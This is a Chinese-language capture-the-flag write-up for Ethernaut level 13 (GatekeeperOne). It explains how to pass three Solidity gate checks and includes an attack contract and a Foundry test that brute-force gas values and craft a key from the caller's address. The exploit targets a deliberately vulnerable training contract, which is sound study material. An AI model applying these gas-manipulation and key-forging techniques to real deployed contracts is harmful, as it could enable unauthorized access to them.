Try   HackMD

Ethernaut CTF Level 13 - GatekeeperOne

題目

跨越守衛的守衛並且註冊成為參賽者吧。

可能會有用的資訊

回憶一下你在 Telephone 和 Token 關卡學到了什麼
可以去翻翻 Solidity 文件,更深入的了解一下 gasleft() 函式的資訊

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }

分析

此題難度開始增加,從modifier可以看到有三個關卡要通過

gateOne

require(msg.sender != tx.origin);

相對簡單,只要寫個合約,用Metamask呼叫即可達成條件

gateTwo

require(gasleft() % 8191 == 0);

在呼叫這個modifier的時候,所剩的gas需要能被8191整除

這邊我的對應方式是用暴力破解

我們可以用forloop去觀看循環到踏入gateThree()的時候的fail revert

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

gateThree

簡化一下code,一個 uint64 (byte8) 的 key要滿足以下三個條件

uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)) uint32(uint64(_gateKey)) != uint64(_gateKey) uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

以我的錢包末四碼是0939

可以構造一個 key 0xFFFFFFFF00000939來達成

  • 0x00000939 == 0x0939
  • 0x00000939 != 0xFFFFFFFF00000939
  • 0x00000939 == 0x0939 (末四碼)

攻擊

綜觀上述思路,可以寫個簡單的合約如下

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack{ function attack_() public { bytes8 key = 0xFFFFFFFF00000939; for (uint256 i = 250; i < 500; i++) { (bool result,) = address(<INSTANCE>).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key)); if (result) { break; } } } }

Foundry Test

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "../src/levels/13-GatekeeperOne/GatekeeperOne.sol"; contract ContractTest is Test { AttackContract attackContract; GatekeeperOne level13 = GatekeeperOne(payable(0x0eDF7E447741A21ED33F14C13842639910F36c8b)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x0eDF7E447741A21ED33F14C13842639910F36c8b), "Ethernaut13" ); attackContract = new AttackContract(); } function testEthernaut13() public { attackContract.enter(); } receive() external payable {} } contract AttackContract { GatekeeperOne level13 = GatekeeperOne(payable(0x0eDF7E447741A21ED33F14C13842639910F36c8b)); function enter() public { bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xffffffff0000ffff; for (uint256 i = 0; i < 300; i++) { (bool result, ) = address(level13).call{gas: i + 8191 * 3}( abi.encodeWithSignature("enter(bytes8)", _gateKey) ); if (result) { // example: i = 256 with key 0x83f33e0700001f38 console.log(i); break; } } } }